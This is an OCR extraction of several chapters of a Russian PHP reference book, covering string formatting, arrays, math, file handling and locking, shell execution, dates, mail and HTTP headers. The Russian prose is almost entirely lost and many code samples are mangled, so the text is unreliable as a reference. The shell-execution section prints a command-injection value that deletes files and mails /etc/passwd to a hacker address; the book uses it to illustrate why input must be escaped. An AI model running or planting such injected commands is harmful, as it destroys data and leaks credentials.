f ;
;
s ;
af;
AF.
:
$moneyl = 68.75;
$money2 = 54.35;
$money = $moneyl + $money2;
// echo $money "123.1"...
$formatted = sprintf ("%01.2f", $money);
// echo $formatted "123.10"!
, :
$isodate=sprintf("%04d-%02d-%02d",$year,$month,$day);
,
sprintf ( ) .
12.
221
, sprintf ( ) , , .
string number_format(float $number, int $decimals,
string $dec_point=".", string $thousands_sep=",");
. , ! $decimais ,
.
$dec_point , $thousands_sep (
, ).
, s s c a n f o f s c a n f o , . :
explode ( } .
.
, , ,
( , , 32).
pack ( ) unpack ( ) .
string pack(string $format [,mixed $args, ...])
222
IV.
, ;
, ;
, ;
();
;
(16 , );
s ;
(16 , );
v (16 , );
i ( );
i ;
1 (32 , );
L ;
O N (32 , );
v (32 , );
f ( );
( );
;
1 ;
@ .
, ? :
// , ,
$bindata = pack("nvc*", 0x1234, 0x5678, 65, 66);
$bindata
6 : 0x12, 0x34, 0x78, 0x56, 0x41, 0x42 (
).
array unpack(string $format, string $data)
unpack , pack () --
$data, $format.
, .
Sformat , p a c k O ,
, ( -
12.
223
) "" . /. :
$array=unpack("c2chars/nint", $bindata);
: charsi,
chars2 int. , ,
1, 2 . ., . .
, .
pack unpack',)? ,
GIF-, , 32- , . ,
, . . , pack unpack .
, , (,
), ( GIF- Getimagesize ( ) ) .
-
string mc!5 (string $st)
- $st, RSA
Data Security "MD5 Message-Digest Algorithm". -
, $st. To
, , $st, -, .
- , 1000 , - ,
MDS- . , ,
.
, $st
, MDS- 32 .
- , , MD5? ,
. , ,
, . ,
, , - , , -
224
IV.
. , , , . ,
, . : , (MD5) -. -
-
, . , , , , ...
, - - $st
. , , , - . , - !
MD5 , . ,
5- , , , ,
MD5 . ,
MD5.
,
, MDS-.
int crc32(string Sstr)
32 32- $str. To
, 32- (4-) . md5 ,
"-" . , ,
"-", ,
-. , , 32- ,
, 32 , MD5.
string crypt(string $str [,string $salt])
DES
Unix ( ,
m d s o ) . MD5 . : MD5 .
md5() crypto. , crypto
: -
, DES
(, Apache).
12.
225
- , $sait
(, )
. $sait , , :
$st="This is the test";
echo crypt($st)."<br>";
// , , 7N8JKLKbBWEhg
echo crypt($st)."<br>";
// , , Jsk746pawBOA2
, c r y p t o
-.
.
void f l u s h ( )
, . . : echo
, , "". . ,
, , - ( ). -
flush ( ) , echo .
13
III ,
.
, , . .
,
. ( 4) ,
, . .
. . ,
,
.
(asort()/arsort())
a s o r t o , , ,
( ) (
) . , . . =>
"" , , "". :
$A=array("a"=>"Zero","b"=>"Weapon","c"=>"Alpha", "d"=>"Processor");
asort($A);
foreach($A as $k=>$v) echo "$k=>$v
";
// "c=>Alpha
b=>Weapon
d=>Processor
a=>Zero"
// , =>
arsort , : , .
13.
227
(ksort()/krsort())
k s o r t o a s o r t o , , , ( ). :
$A=array("d"=>"Zero", "c"=>"Weapon", "b"=>"Alpha", "a"=>"Processor");
ksort($A);
for(Reset($A); list($k,$v)=each($A);) echo "$k=>$v
// "a=>Processor
b=>Alpha
c=>Weapon
";
d=>Zero"
krsort ( ) , ksort ( ) .
uksortQ
- , . , $Fiies
. ,
,
. u k s o r t o , , uksort ( ) .
: 13.1.
// $fl $f2 :
// -1, $fl<$f2,
//
0, $fl==$f2
//
1, $fl>$f2
// < >
function FCmp($fl,$f2)
{
//
if(is_dir($fl) && !is_dir($f2)) return -1;
//
if(!is_dir($fl) && is_dir($f2)) return 1;
//
if($fl<$f2) return -1; elseif($fl>$f2) return 1; else return 0;
228
IV.
// $Files
// . .
uksort($Files,"FCmp");
// " "
uasortO
uasort uksort , ,
() "" , .
=>.
array_reverce()
array_reverse ( ) ,
, .
, , . ,
, arsort ( ) ,
, :
$A=array("a"=>"Zero","b"=>"Weapon","c"=>"Alpha","d"=>"Processor");
asort ($A) ;
$A=array_reverse($A);
, , - a r s o r t ( ) .
sort()/rsort()
(, , 0 ). sort
(, ) , a rsort ( ) --
. :
$A=array("One", "Two", "Three", "Four");
sort ($A) ;
for($i=0; $i<count($A); $i++) echo "$i:$A[$i]
// "0:Four
l:Two
2:Three
3:0ne"
";
13.
229
.
0,1,2
. , => , ,
-, , .
usort()
"" u a s o r t o sort .
sort ( ) , . u a s o r t o - - ,
,
. :
function FCmp($a,$b) { return strcmp($a,$b); }
$A=array("One","Two","Three","Four");
usort. ($A) ;
for($i=0; $i<count($A); $i++) echo "$i:$A[$i]
// "0:Four
1:One
2:Three
3:Two"
strcmp , ,
-1, $<$, 0, , 1, $>$. , sort .
shuffleO
s h u f f i e o "" , , , . , , -, , -, . :
$=(10,20,30,40,50) ;
snuff1($);
foreach($A as $v) echo "$v
";
, ,
. , shuffle ( ) , -
IV.
230
srand(). (.
mt_srand(. , (
srand ( ) ) , .
"" . SArr ,
. ,
, :
, $.
$searchvai, ,
$searchvai.
,
[ ] .
list array_values(array $Arr)
array values $. , ,
.
bool in_array(mixed Sval, array $Arr)
true, $vai
$. , , :
, ?
.
array array_count_values(list $List)
, $List,
. -
13.
231
, array_count_vaiues $List. :
$List=array(l, "hello", I, "world", "hello");
array_count_values($array) ;
s t r t r o ,
, s t r _ r e p i a c e ( ) , .
, s t r t r o ,
str_replace ( ) .
string strtr(string $st, array $Substitutes)
( , ,
strtr !) $st :
$substitutes
. ,
, str_repiace() :
$Subs=array(
"<name>" => "Larry",
"<time>" => date("d.m.Y")
);
$st="npMBeT, <name>! <time>";
echo strtr($st,$Subs);
"" H t m l S p e c i a l C h a r s () :
$Trans=array__flip(get_html__translation_table () ) ;
$st=strtr($st, $Trans);
,
HTML-,
. g e t _ h t m l _ t r a n s i a t i o n _ t a b l e
. , H t m l S p e c i a l C h a r s ( ) .
strtr ()
.
IV.
232
array array_merge(array $A1, array $A2, ...)
array_merge , + . , , , . ,
=> , . :
.
, array_merge ( ) + . , :
$Ll=array(10,20,30) ;
$L2=array(100,200,300) ;
$L=array_merge($L1,$L2);
// $L===array(10,20,30,100,200, 300) ;
, , .
array array^slice(array $Arr, int $offset [, int Slen])
,
=> () $ o f f s e t $1
( , ).
$offset $1 ,
s u b s t r t ) . ,
( ),
. . :
$input = array ("a", "b", "", "d", "e");
$output = array_slice ($input, 2);
// "c", "d"
// "d"
/
, . , [ ] ( ) -
233
13.
, ,
unset ( ) .
4 , .
int array_push (list &$Arr, mixed $varl [, mixed $var2, ...] )
$ $vari, $var2 . .
,
[ ]. , ,
:
array_push ($Arr, 1000) ;
$[]=100;
// ...
// ,
, arrayjpush ( ) ,
, .
.
mixed arrayjpop(list &$Arr)
a r r a y _ p o p ( ) , arrayjpush , "" ( ) , $.
, . $
, .
int array_unshift (list &$Arr, mixed $varl [, mixed $var2, ...] )
arrayjpush , , . $vari,
$var2 . . , . . ""
. , , , 0; ,
, ( ). .
:
SA=array(10,"a"=>20,30);
array_unshift($A,"!","?");
// $===(0=>"!", !=>"?", 2=>10, =>20, 3=>30)
mixed array_shift(list &$Arr)
$ .
_ ( ) , , , ""
234
IV.
:
array array_unique(array $Arr)
array_unique ( ) , $ .
=>:
$input=array("" => "green", "red", "b" => "green", "blue", "red");
$result=array_unique($input);
// $result===array("a"=>"green", "red", "blue");
array array_splice(array &$Arr, int $offset [, int Slen] [, int. SRepl])
// $input===array("red", "green")
array_splice($input, 1,-1) ;
// $input===array("red", "yellow")
array_splice($input, -1, 1, array("black", "maroon"));
// $input===array("red", "green", "blue", "black", "maroon")
array__splice ($input, 1, count ($ input), "orange");
// $input===array("red", "orange")
, $Repi
, , .
array compact (mixed $vnl [, mixed $vn2, ...] )
compact ( ) , 4,
(
), $vni, $vn2 . . -
13.
235
, $vnN,
. :
$a="Test string";
$b="Some text";
$A=compact("a","b");
// $A===array("a"=>"Test string", "b"=>"Some text")
mixed? ,
, .
, , .
, ,
, . . , ,
:
$a="Test";
$b="Text";
$="";
$d="DDD";
$Lst=array("b",array("","d"));
$A=compact("a",$Lst);
// $A===array("a"=>"Test", "b"=>"Text", "c"=>"CCC", "d"=>"DDD")
void extract(array $Arr [, int $type] [, string $prefix])
, compact .
, $
=> .
Stype , ,
, $.
, . 13.1
13.1. extract
EXTR OVERWRITE
( )
EXTR_SKIP
He ,
EXTR_PREFIX_SAME
,
$pref ix. ,
EXTR__PREFIX_ALL
$prefix
IV.
236
EXTRJDVERWRITE, . . . :
//
extract($HTTP_ENV_VARS);
// , . _
extract($HTTP_ENV_VARS, EXTR_PREFIX_ALL, "E_");
echo $E COMSPEC; // COMSPEC
$pref ix ,
EXTR_PREFIX_SAME EXTR_PREFIX_ALL.
, extract compact , ,
. ,
,
,
:
<table width=100%>
<?foreach($Book as $Entry) { extract ($Entry) ?>
<tr>
<td>^: <?=$name?x/td> <! $Entry [ 'name' ] >
<td>Aflpec: <?=$url?x/td> <! $Entry [ 'url ' ]
</tr>
<tr><td colspan=3x?=$text?x/tdx/tr>
<trxtd colspan=3xhr></tdx/tr>
, $Entry
. , ,
(, $Book $Entry),
, .
-
list range (int Slow, int $high)
. , $iow $high . ,
13.
237
foreach!
<table>
<?foreach(range(1,100) as Si) {?>
<tr>
<tdx?=$i?x/td>
<td>3To
<?=$i?x/td>
</tr>
<?} ?>
</table>
( , ) , :
<table>
<?for($i=l; $i<=100; $i++) {?>
<tr>
<tdx?=$i?x/td>
<td>3TO <?=$i?x/td>
</tr>
<?} ?>
</table>
14
, . ,
,
.
4 ,
.
. 14.1.
14.1. .
PI
3, 1 41 59265358979323846
2,7182818284590452354
LOG2E
1 ,4426950408889634074
Log2(e)
LOG10E
Lg(e)
LN2
Ln(2)
M_LN10
2,30258509299404568402
Ln(10)
PI 2
1 ,5707963267948966 1 923
/2
_1_4
0,7853981 6339744830962
/4
1 PI
0,31830988618379067154
1/
2 PI
0,63661977236758134308
2/71
SQRTPI
1 ,77245385090551 602729
sqrtU)
2 SQRTPI
1,12837916709551257390
2/sqrt(Tt)
SQRT2
sqrt(2)
14.
239
14, 1 ()
SQRT3
1 ,73205080756887729352
sqrt(3)
M_SQRT1_2
0,70710678118654752440
1/sqrt(2)
LNPI
1 , 1 44729885849400 1 74 1 4
Ln(7i)
EULER
0,57721566490153286061
, - , . , ,
Web- , , . , .
mixed abs(mixed $number)
$val , :
$foo = round(3.4); // $foo == 3.0
$foo = round (3.5); /,/ $foo ==4.0
Sfoo = round(3.6); // $foo == 4.0
int ceil(float $number)
, $number. , $number .
int floor(float $number)
, $number.
.
, Web-
.
rand ( ) srand ( ) , , , . -
240
IV.
, rand ()
.
, , . , ,
http://www.math.keio.ac.jp/~matumoto/emt.html,
http://www.scp.syr.edu/~marc/hawk/twister.html. 0 RAND_MAX ( ,
mt_getrandmax()), $min
$.
rr.t_srand ( ) .
mt_rand ( ) .
( , , f gets () , , ,
). :
for($i=0; mt_rand(0,$i)<l; $i++)
$s=fgets($OurFile,10000);
echo " : $s";
:
100%, 50%
( ), 33%, . . , ,
, , 33%, , , 66%. 50%, 50% 66% 33%, . . . ,
. ,
, .
,
- mt_rand ( ) ,
, . ,
. ? , .
.
14.
241
, rand ( )
, .
void mt_srand(int $seed)
.
, , mt_rand ( ) , ,
(, , ):
.
m t _ s r a n d ( ) : $seed, . :
mt_srand(time() +(double)microtime * 1000000) ;
$randval = m t _ r a n d ( ) ;
( ), .
( ), , .
int mt_getrandmax()
, mt_rand ( ) , RAND_MAX.
string base_convert(string $number, int $frombase, int $tobase)
$number ( $frombase) $tobase.
$frombase $tobase 2 36 . $number , 11, 12, . . z, 36. , i i i i i i i i (8 ), ,
FF :
echo base convert("FF",16,2);
IV.
242
int bindec(string $binary_string)
, $binary_string, .
string decbin(int $number)
,
$number. , ,
2 147 483 647, 31 .
. , "bin" "oct" "hex".
mixed miii (mixed $argl [int $arg2, ..., int Sargn])
, .
:
. (),
. ( )
, , .
: ,
, ,
, . , .
mixed max(mixed $argl [int $arg2, ..., int $argn])
min ( ) , .
float sqrt(float $arg)
. ,
, !
: ,
?..
float
log(float'$arg)
. , , sqrt ( ) , .
float e x p ( f l o a t $arg)
(2,718281828) $arg.
14.
243
Sbase $.
. , , ...
float acos(float $arg)
.
float asin(float $arg)
.
float atari (float $arg)
.
float atan2(float $y, float $x)
// $alpha==pi/4
$alpha=atan2(-!,-!); // $alpha==-3*pi/4
float sin(float arg)
. .
float cos(float $arg)
.
float tan(float arg)
, .
double p i ( )
. 4 ( 3):
echo pi *10;
, , M_PI?..
9 . 699
15
. -,
, Windows ( Unix)
, .
, :
. , ,
"" .
-,
Web , (, ).
http: // f t p : / / , ,
, .
(
, -).
( )
.
. , Unix-
\.
, \ ,
. ., . \ (, "
\ "), . , , , \ " \, ".
Windows
, , , \ \ .
15.
245
, \ \
" " \, ,
, Unix. , , , ,
"" \. Windows MacOS (,
\\, \\, - ).
: \
\ \ .
, \ \ \.
, ,
/,
, . , ,
Unix, , Windows .
,
, .
. ,
fopen ( )
,
. , ,
, ,
Windows MacOS, Unix.
fopen .
/,
, .
- (, GIF) ,
, . ,
Windows \ \
\, , , . .
, .
, ,
( ). ( , ),
"" , .
246
/V.
( ,
).
int fopen(string $filename, string $mode, bool $use_include_path=false)
15.
247
$mode. ,
, w, a, r+, w+ + t. ( ),
/. t,
, . .
.
t ( ,
), , ,
.
, .
- , : . , , fgets .
: 15.1. test.php:
//
// ,
function MakeHex($st)
{ for($i=0; $i<strlen($st) ; $i++) $Hex[]=sprintf ("%2X", ord($st
return joint" ",$Hex);
}
//
$f=fopen ("test.php", "r") ;
//
test.php < ?.
. ,
, . . .
Unix. , echo:
3F
3F
248
IV.
,
, \ ( Ox3F
< ?). , Windows, :
3F OD
3F
, ! .
, h t t p : / /
f t p : / / , .
HTTP- ,
: Host GET.
, f gets ( ) .
FTP-, , , . ,
FTP- (,
).
, .
: \ ,
DOS Windows. . ,
/ (, Windows).
- ,
, :
$fp = fopen ( " : \ \ w i n d o w s \ \ h o s t s " ,
""};
:
. !
:
//
$f = fopen("/home/user/file.txt", "r") or die("!");
// HTTP-
$f = fopen("http://www.php.net/", "r") or die("!");
// FTP-
$f = fopen("ftp://user:password@example.com/", "w") or die("!");
15.
249
ordie()
.
or die '. . , or
( , =), . ,
:
($f=fopen("/home/user/file.txt", "r")) or die("!");
, , or " "
( ). :
. : ,
fopen false, , die "
" or.
, or ,
| |, , =. ,
$f=fopen("/home/user/file.txt", "r") || die("!");
$ f = ( f o p e n ( " / h o m e / u s e r / f i l e . t x t " , "r") I I d i e ( " ! " ) ) ;
, , .
,
.
, . .
int t m p f i l e ( )
(
"") . , .
" " ,
- : . ?
,
"" , .
IV.
250
, , .
, , .
. ,
. , (
) .
int fclose(int $fp)
, f open ( ) ( ( )
f s o c k o p e n o , ). false,
(, -
). "".
, FTP- HTTP-,
"" . , , , .
FTP-
, . , , ,
, .
(, ,
, . . ) , -,
.
. , ,
, , .
,
.
.
, (
) , , , -
15.
25?
. ,
, .
/.
/
string fread(int $f, int $numbytes)
$f $numbytes .
( ,
). ,
$numbytes , (, ), , .
, .
$numbytes (, ). ,
. , f r e a d ( )
(
). , ,
.
int fwrite(int $f, string $st)
$f $st.
f read , " ".
,
(, ()), f read () f write ( ) .
( t
) \
, .
/
string fgets(int $f, int $ length)
, \.
.
$iength-i ,
$ length-1 . ,
"" . ( -
252
IV.
string $st)
fwrite ( ) .
,
, . ... , .
CSV-
Excel Microsoft Office ,
, Excel.
.
list fgetcsv(int $f, int $length, char $delim=',')
}
fclose($f);
15.
253
int f e o f ( i n t $ f )
true, (
). :
$f=f open ("myfile.txt", "") ;
while ( Ifeof ($f) )
{ $st=fgets ($f ) ;
// $st
f close ($f) ;
, . .
. File
(. ) f read ( ) ,
, !
int fseek(int $f, in $offset, int $whence=SEEK_SET)
$ o f f s e t (
, ,
$whence). , , , $f , HTTP FTP.
$whence, , , $ o f f s e t . , , , , 1 2:
SEEK_SET ;
SEEK__CUR ;
SEEK_END .
$of f s e t
( SEEK__END ).
, 0, -1. . ,
-?
int f t e l K i n t $ f )
. , ,
.
254
IV.
, ( ) . ,
, .
bool file_exists(string $filename)
true, $ filename . ! ,
:
$fname="/etc/passwd" ;
if(!file_exists($fname)
$f=fopen($fname,"w");
else
$f=fopen($fname,"r");
, f i i e _ e x i s t s
w ,
"" "" . ,
. .
string filetype(string $fiiename)
, $ filename.
, false.
:
f i l e ;
dir ;
link ;
f i f o fifo-;
block - ;
char - ;
unknown .
filetype . , , .
15.
255
true, $fiiename .
bool is_dir(string $filename)
true, $fiiename .
bool is_link(string $filename)
true, $ f i l e n a m e .
8 , is_.
,
"" .
bool is readable(string $filenarae)
true, .
bool is_writeable(string $filename)
true, .
bool is executable(string Sfilename)
true, .
array stat(string $filename)
,
, . :
0 ;
1 inode;
2 ;
3 ("" ) ;
4 uid ;
; gid ;
6 ;
7 ;
, 1 1970 ;
9 ;
;
IV.
256
11 ;
12 .
, ,
Unix. Windows (,
, , ).
.
$ filename , , ,
( ). istat ( ) , , stat ( ) .
stat () ,
, - .
, ( ), - , , false.
int fileatime(string $filename)
false
.
int filectime(string $filename)
.
int filesize(string $filename)
false, .
int touch(string $filename [, int $timestamp])
$fiiename
$timestamp ( , 1 1970 ). , . false.
, .
15.
257
. , "" - , ,
.
.
string basename (string $path)
$path. :
echo basename("/home/somebody/somefile.txt"); // "somefile.txt"
echo basename("/"); //
echo basename("/.");
// "."
, $path.
"" ,
:
echo dirname("/home/file.txt"); // "/home"
echo dirname("/");
//
echo dirname("file.txt");
// "."
, dirname "" ,
" . " , " ".
(, 3) "". , ""
, .
258
IV.
, tempnamcvtmp", "temp") -
/tmp/temp3a6b243c. , , , $dir=".".
, tempnamo
:
$fname=tempnam () ;
$f=fopen($fname,"w");
//
. : $path
, . . . :
echo realpath("../t.php"); // , /home/test.php
echo realpath(".");
("
//
,
, getcwd ( ) . , "" , / . /. ,
, getcwd ( ) .
, $path, ,
false.
realpath (} "" ,
, . , .
. -
15.
259
( ), . , , .
bool copy(string Ssrc, string $dst)
$src $dst. ,
$dst , . true, , f a l s e .
bool rename(string Soldname, string $newname)
( , )
$oidname $newname. $newname ,
, false. To
. , true.
, ( Unix
Windows). rename () HTTP (
) /tmp - .
bool unlink(string $filename)
$filename. f a l s e , true.
- , ""
0. , Unix-.
list File (string $filename)
$f ilename -,
. ,
f open ( ) .
, ( \), ,
, .
array get_meta_tags (string $filename, int $use_include_path=false) ;
<meta> ,
</head>. <meta> :
<meta ="" content=" ">
260
IV.
=> , .
( ,
f open
). $use_inciude_path ,
,
, include require.
bool ftruncate(int $f, int $newsize)
$f $newsize. ,
, . , :
ftruncate ( $ f , 0 ) ; //
void f f l u s h ( i n t $f)
, $f. ?
,
: , fputs ($f, " ! " )
( 8). ,
, ,
. , . ,
f f l u s h .
int set_file_buffer(int $f,
int $size)
, , $f. :
set_file_buffer($f,0);
,
, ,
.
/ . .
f flush ().
15.
261
/ . , "" "-". , -,
"", . , ,
, . ?
f l o c k , " " . ,
,
. .
,
, . ,
, . , , ,
,
, .
. , , , , , "".
, " " ( ) : , .
.
,
, flock .
bool flock(int $f, int $operation [, int& $wouldblock))
$f
, . Separation
:
LOCK_SH ( i) ;
LOCK EX ( 2) ;
LOCKJJN ( ) ;
LOCK^NB ( 4) , , "" f l o c k , .
262
IV.
, ,
, - $wouidbiock
true.
, , false, true.
, flock ()
( Windows), , Windows
. , , , , . ,
.
, (,
man FreeBSD), , . ,
.
, . "?
-. , (,
) , .
.
, . f lock ( $ f , LOCK_EX> , , ,
f i o c k ( $ f , LOCKJJN)
.
? , ,
"" flock ( ) , . .
, - . ,
, , , , -
( flock ( ) ) , , ,
. ,
, . .
15.
263
, ,
-, ( 15.2).
1 15.2.
/ /
f flush ($f) ;.
//
, w ( , ), "" +.
. : . ( )! ,
,
w -- +
f truncate , . :
Sf=fopen ($f , "a+") or dieC'He !");
flock ($f,LOCK_EX) ;
// ,
f truncate ($, 0) ;
//
fflusho , ?
: , . . ""
264
IV.
, . , , , .
( 7)
,
. , + -
w. , ,
fflush ( ) .
. ,
- ,
? -
, -? , ,
"" . , . ?
.
. , , , ? f l o c k , ,
. - ,
. , - , , , , , , .
-,
, , , ,
, .
"" , , ? . , ,
, , - .
( ) . , , : , . -
" " , . . :
, ?
-. , -
, ? ,
, . ,
flock ( $ f , LOCK_EX) , . .
15.
265
, , ,
, . (- ), . , ,
, , "" . " " ,
"" , "" , .
15.3 ,
.
I 15.3.
//
// . . .
^
,
, . ,
. , .
""
f l o c k ( ) ,
LOCK_NB , ,
266
IV.
" ",
. , ,
, ,
. , , - , , ,
, ,
, . LOCK_NB:
$f=fopen("file.txt", "a+") ;
while(!flock($f,LOCK_EX+LOCK_NB)) {
echo " <br>";
sleep(1); // 1
}
//
, flock ( )
, , ! , -
while, ,
.
, . Web-, , , , , .
, , , , . , , ,
-, .
, , "".
,
.
I 15.4.
$f=fopen("counter.dat","a+");
flock($f,LOCK_EX);
// ,
267
15.
$count=fread($f,100}; //
//
@$count=$count+l;
//
ftruncate($f,0);
//
fwrite($f,$count);
//
fflush ($f) ;
//
flock($f,LOCK_UN);
//
fclose($f);
//
echo $count;
,
1 ( = 0)
, , ,
.
16
,
.
,
.
.
( , ) . . ,
, ,
. ,
.
.
bool mkdir(string $name, int $perms)
$name $perms.
, . $perms 0770 ( , , ). :
mkdir("my_directory",0770); //
rakdir{"/data"); // data
true, false. , , .
, .
, , , 0 7 7 0 " , ". , ? , -
16.
269
? . "" , . ,
Unix.
bool rmdir(string $name)
. , false. $path
, . :
chdir("/tmp/data'") ;
//
chdir("./somathing"); //
chdir("something");
//
chdir("..");
//
chdir("-/data");
// ///data ( Unix)
string getcwdO
, "" (/).
( Unix - ,
),
"" false.
"
.
, , ( -
).
, ,
. ,
.
, : , , . , , .
int opendiristring $pathi
$path
. -
270
IV.
readdiro
. f a l s e , .
string readdir(int $handle)
$handie .
, , ,
. : . ( ) . .
( ).
, 16.1
c o n t i n u e .
(^
3 Shandle , ,
. " ",
"" ... - . 4 : $handle readdir ( ) ,
.
, , . :
$d=opendir("somewhere");
while(Se=readdir($d)) ( . . . )
"", , , .
:
$d=opendir("somewhere") ;
while ( ($e=readdir($d)) !==false) ( . . . )
!== ,
false.
void closedir(int $handle)
$handie. He . , , . .
, - .
void rewinddir(int $handle)
"" .
readdir , .
16.
271
:
, ( ) ,
.
i 16.1.
// ,
// . $level
// .
function PrintTree ($level=l)
{
//
$d=@opendir (".");
if(!$d) return;
while ( ($e=readdir ($d) ) !==false) {
// . . .
if ($e=' . ' I l$e='. . ') continue;
//
if ( ! @is_dir ($e) ) continue;
// ,
for($i=0; $i<$ level; $i++) echo " ";
//
echo "$e\n";
//
if ( Ichdir ($e) ) continue;
PrintTree ($level+l) ;
//
chdir (". . ") ;
// ,
//
flush () ;
}
closedir ($d) ;
//
echo "<pre>";
272
IV.
,
. , , . . .
.
, , ,
. (,
) \/ .
17
& ^ *^ Ji
--;
Lfl _ ^
. . ,, -wsjj,.
<
-, .
,
.
-
Unix,
, .
.
. , -
f open ( } ,
. :
- (, mail
). ,
(, E-mail
), .
, , , , , . (
), ,
( ). ,
- - ,
, .
.
.
// /bin/Is ( )
// . Unix
// , -1 .
274
IV.
.
, . , ,
, ( system , ). : , , fopen ( ) .
, . ? ,
, : - -
, -
,
. , : . , -.
.
(,
Unix, - ,
, - ) $fp. , ( ),
f gets ( ) , f read ( ) . .
is (
), f gets ( ) .
, " ", $fp, , .
, " " ,
" " , .
,
.
17.
275
, , , .
( , ) ? Unix (
- )
.
, . Unix .
,
.
(, ) "",
, " . ,
, ( , f open , f read
. .)
( ), . .
string readlink(string
$linkname)
,
$iinkname. , ,
, , , .
"".
bool symlink(string $target, string $link)
$iink
( ), $target. "" false.
array Istat(string $filename)
stat ( ) , ,
$ f i i e n a m e , ,
( , , stat ( ) ) .
int linkinf(string $linkname)
"" ,
istat ( ) , . ,
, , $iinkname. stat , . ., -, "".
. 699
276
IV.
,
, .
, u n l i n k rmdir ( } .
. ,
. , , , , , .
"" , , .
: , ,
, . .
"" .
, , . .
10.
, . , (,
unlink ), ,
, . , .
(
) link . s y m i i n k o , , , , . ,
link , rename ,
, .
, Unix, Windows.
Microsoft?..
18
.
"" ,
,
- , , ,
, Perl. ,
,
.
s t r i n g s y s t e m f s t r i n g Scoramand [ , i n t & return_var])
, , , ,
, . . . .
, , - , ,
? , ?
( , !),
. ,
, .
,
, . , system ,
( ) , - , rm -R ~ / , " "
.
278
IV.
,
. , ( )
exec ( ) . , , , (, , - GIF-),
PassThruO.
s t r i n g e x e c ( s t r i n g $coinmand [ , l i s t s Sarray]
[ , i n t & $return v a r ] )
exec , s y s t e m o , , , , .
, $ ( ),
.
(
- exec ( ) ,
,
. ,
.
s y s t e m ) ) , -
$return_var . exec ( ) -.
string EscapeShellCmd(string $command)
, ,
(, )
system exec ? ,
: ,
, . .
EscapeShellCmd . :
system("cd ".EscapeShellCmd($to_directory));
$to_directory ,
Cookies. ,
, -
EscapeShellCmd ( i , :
system("cd $to_directory"); // !
$to_directory:
~; rm -R *; sendmail hacker@domain.com </etc/passwd
18.
279
,
/etc/passwd, Unix-
.
string PassThru(string $command [,int& $return_var])
, --.
, - " ",
( , ,
PassThru ).
:
Header("Content-type: image/jpeg");
PassThru("cat my_image.jpg");
19
,
.
( )
.
.
timestamp
int time ( )
, 1 1970
. Unix
: ,
( , , fiie_mtime ). , (
timestamp). To " 1 1970
, , .
^"
- , timestamp ()
1 1970 , . , .
string m i c r o t i m e f )
: " ", -- ,
time , , .
, gettimeofday ( ) , . . .
19.
281
[,int $minute]
[,int $second]
[,int $month]
,
timestamp , .
, mktime .
, , ,
, . - ,
, . timestamp, .
, , . " ",
, timestamp. ( ),
:
echo date("M-d-Y", mktime (0, , , 1, 1, 1998) );
//
//
, .
string date(string $format [,int Stimestamp] )
. , $ format $timestamp (
). ,
:
, 1 1970 ;
z ;
Y , 4 ;
, 2 ;
F , , January;
282
IV.
m ;
, , , jan;
, 2 ( 0);
j ;
w , 0 , 1 , . .;
1 , , , Friday;
, , , Fri;
am
AM ;
h , 12- ;
, 24- ;
H i ;
s ;
s (nd, th . .).
, , " ". , , .
, .
date ( ) :
echo date("l dS of F Y h:i:s A");
echo date(" d.m.Y");
echo date("3TOT d.m.Y",filectime("myfile"));
, , F
( ), (.
setiocaleo)
.
int checkdate(int $month, int Sday, int $year)
, , :
, -- , , ,
. ,
checkdate ( ) :
1900 32 767 ;
1 12;
(
).
19.
283
, ,
HTML- . ,
, " ",
.
array getdate{int $timestamp)
, . :
seconds ;
minutes ;
hours ;
mday ;
wday , ;
;
year ;
yday ;
weekday , , Friday;
month , , January.
-,
date , .
,
. I
1700 .
,
.
Julian Day Count (JDC). ?
JDC. , , JDC
, (, - 4714-
).
? , "..".
. JDC
.
int GregorianToJD(int $month, int $day, int $year)
284
IV.
$gregorian = JDToGregorian($jd);
echo "Sgregorian<br>\n";
$list=explode($gregorian,"/");
mixed JDDayOfWeek(int $julianday, int $mode)
JDDayOfweek () : ,
JDC-. , , . Smode ,
:
(0 , 1 , . .);
1 ;
2 .
, . .
.
20
, . . .
bool mail(string $to, string $subject, string $msg [,string $headers])
m a i i o $msg (
" ", . . , , ) $to.
, $to.
:
mail("rasmus@lerdorf.on.ca ca.ok@oklab.ru,
"IVh
jV-- ^ .^i'--1- ",
"j ^^a^^tiwL,
, , ( ,
Content-type . .) . . :
tr. a -ii '" = ;' -.. ^ d k p d i z a i n . r u " ,
"the subject",
"Line IXnLine 2\nLine 3",
"From: webmaster@$SERVER NAME\n".
"Reply-To: webmaster@$SERVER_NAME\n".
"X-Mailer: PHP/" . phpversionO
);
, - . $msg ( ), (
286
IV.
HTTP). To $subject:
subject .
. , .
, ,
. , , , , ,
,
.
. , , .
: mail . ,
. :
$message=
"From:
:
Subject:
Content-type: text/plain; charset=windows-1825
! .
!";
Mail("ivanov@ivan.ivanovich.ru","",$raessage);
content-type (
).
, , -,
(text/plain), -, Windows.
,
.
, ?
?
,
, , , .
20.
287
90%
. "" Windows-, KOI-8R.
c o n v e r t _ c y r _ s t r i n g ( ) . , , Content-type
charset koi8-r. :
$message=
"From:
: <ivanov@ivan.ivanovich.ru>
Subject:
Content-type: text/plain; charset=koi8-r
! .
!";
$message=convert cyr string($message,"w","k");
Mail("ivanovgivan.ivanovich.ru","",$message);
, ,
Subject ? , convert_cyr_string ,
From, TO, subject .
$ subject
$headers...
,
Content-type. , ,
content-type,
subject, content-type. , content-type
. ,
content-type
:
$message=
"Content-type: text/plain; charset=koi8-r
From:
To: <ivanov@ivan.ivanovich.ru>
Subject:
Content-type: text/plain; charset=koi8-r
! .
288
IV.
!";
$message=convert_cyr_string($message,"w", "k");
Mail("ivanov@ivan.ivanovich.ru","",$message);
, ,
" ". ,
( KOI8),
.
,
Outlook Express , , .
: ""
,
E-mail
( ),
( ), . .
. , , :
bool PostMail(string $ToAddress, string $Encode, string $Message)
$Message $ToAddress, , $Encode. $Encode :
w Windows
O k - KOI8-R
m Mac
i Iso Latin
t Translit
content-type.. .charset ( content-type , ,
charset ).
. ( echo). , , "" <? ?>.
,
, .
, ,
.
PostMail , V
.
21
WWW
HTTP I .
echo, ,
. ,
HTTP.
, , Header (,
, ).
(, ob_start ).
int Header(string Sstring)
Header .
,
- . ,
Header
. ,
<? ?> , "" <? (
, ) , , ?> . , ,
, 15 (1+2+4+8)
Header . :
//
Header("Location: http://www.php.net");
// , ,
//
exit;
290
IV.
Header --
Proxy-. , . , , . --
:
Header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
//
// HTTP/1.1
Header("Pragma: no-cache");
// HTTP/1.0
,
4 ,
, Proxy-. (, NoCache ( ) )
.
( ,
) GetAllHeaders :
array GetAllHeaders()
GetAllHeaders ,
HTTP- , .
, .
:
$headers = GetAllHeaders();
foreach($headers as $header=>$value)
